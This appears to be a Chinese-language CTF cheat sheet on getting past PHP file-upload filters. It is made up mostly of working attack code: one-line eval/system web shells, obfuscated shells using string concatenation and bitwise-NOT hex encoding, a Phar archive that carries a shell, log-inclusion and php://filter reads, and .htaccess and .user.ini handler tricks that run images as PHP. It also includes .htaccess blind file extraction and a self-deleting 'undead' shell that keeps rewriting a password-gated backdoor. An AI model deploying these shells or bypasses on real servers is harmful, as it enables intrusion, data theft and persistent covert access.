如果一句话木马已经不好传了,可以尝试直接传php语句,执行命令

单语句可以不写分号,如:<? system(‘ls’)?>

一句话木马

eval

1
<?php @eval($_POST['pass']);?>
1
<?= @eval($_POST['pass']);?>

array_map

1
<?= array_map('system', [$_POST['cmd']]);
1
2
3
4
5
6
7
<?= array_map("assert",$_REQUEST)?>		//参数
assert会执行传递给它的PHP代码
例:http://example.com/index.php?assert=system('ls');


<?= array_map("system",$_REQUEST)?>
例:http://example.com/index.php?cmd=ls
1
2
3
4
5
6
<?php
// 将回调替换为执行 system('ls') 命令'sys'.'tem'`l`
array_map(function($value) {
system('ls'); // 执行系统命令 `ls`
}, $_REQUEST);
?>

system

1
<? system('ls')?>

include

1
2
<?=include'/var/l'.'og/nginx/access.l'.'og'?>
日志注入,将日志包含到当前目录php文件中
1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

<script

1
<script language="php">@eval($_POST[1]);</script>
1
<%execute(request("x"))%>

字符串拼接

1
2
3
4
<?=
$a="sy"."stem";
$a($_GET[1]);
?>
1
2
3
4
<?=
$a="ph"."pinfo";
$a();
?>

取反

可以使用下面的脚本来生成,字符串取反后转十六进制的结果

1
2
3
4
5
<?php

$target = "s";
$hex = bin2hex(~$target);
echo "\x" . implode("\x", str_split($hex, 2));

system(“id”)

1
2
3
4
5
6
<?php

$_ = ~(~("sy" . "stem"));
$__ = ~("\x96" . "\x9b");
$_($__);

system($_GET[1])

1
2
3
4
5
<?php

$_ = ~("73\x79"."\x73\x74\x65\x6d");
$__= ~("5f\x47"."\x45\x54");
$_(${$__}[1]);

array_map(‘system’, [$_POST[‘cmd’]]);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?=
$_ = ~(
"\x9E\x8D\x8D" .
"\x9E\x86\xA0" .
"\x92\x9E\x8F"
);
$__ = ~(
"\x8C\x86\x8C" .
"\x8B\x9A\x92"
);
$___ = ~(
"\xA0" .
"\xAF\xB0" .
"\xAC\xAB"
);
$____ = ~(
"\x9C" .
"\x92\x9B"
);

$_($__, [${$___}[$____]]);
?>

Phar伪协议绕过

1
2
3
4
5
6
7
8
9
<?php
$payload = '<?php eval($_POST["pass"]); ?>'; //一句话木马
$phar = new Phar("upload.phar"); //后缀名必须为phar,但生成后可以随便改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("67.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>
1
2
3
phar文件只用stub来判断是否为phar文件,所以后缀可以随便改
当使用 PHP 的 phar:// 伪协议时,PHP 会把这个文件当成一个虚拟文件系统
所以对于php文件来说这是个文件夹

使用phar进行文件上传时通常需要结合phar伪协议来攻击

字符绕过

1
2
3
4
大小写绕过:如Php
短标签绕过:<?= ?><? ?> //<?=相当于<?php echo
中括号绕过:{} //$_POST{'pass'}
双写绕过:pphphp

.htaccess绕过

适用Apache服务器

1
2
3
4
#设置文件处理方式
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
1
AddType application/x-httpd-php .png

.htaccess盲注

成功返回200,失败返回403

1
Require expr file('/flag') =~ m#^UniCTF{.*#

成功返回403,失败返回200

1
2
3
RewriteEngine On
RewriteCond expr "file('/flag') =~ /^UniCTF{.*/"
RewriteRule ^ - [F]

.user.ini绕过

前提.user.ini文件所在目录有.php文件

1
2
3
4
#只影响php文件
auto_prepend_file:在文件前插入

auto_append_file:在文件最后插入

可以添加图片头,绕过一些限制

1
2
GIF89a
auto_prepend_file=1.png

有以下几种方式

1
2
3
4
auto_prepend_file=/path/to/flag.php
auto_prepend_file=flag
auto_prepend_file=http://example.com/test
auto_prepend_file=http://2130706433/test //2130706433127.0.0.1的长整型格式,通常为服务器d

不死马

密码len@k0r

1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.ZYGS.php';
$code = '<?php if(md5($_GET["lengkur"])=="d9cb6662af3a7f2bb05e9f693ce63f6d"){@eval($_POST["c"]);}?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>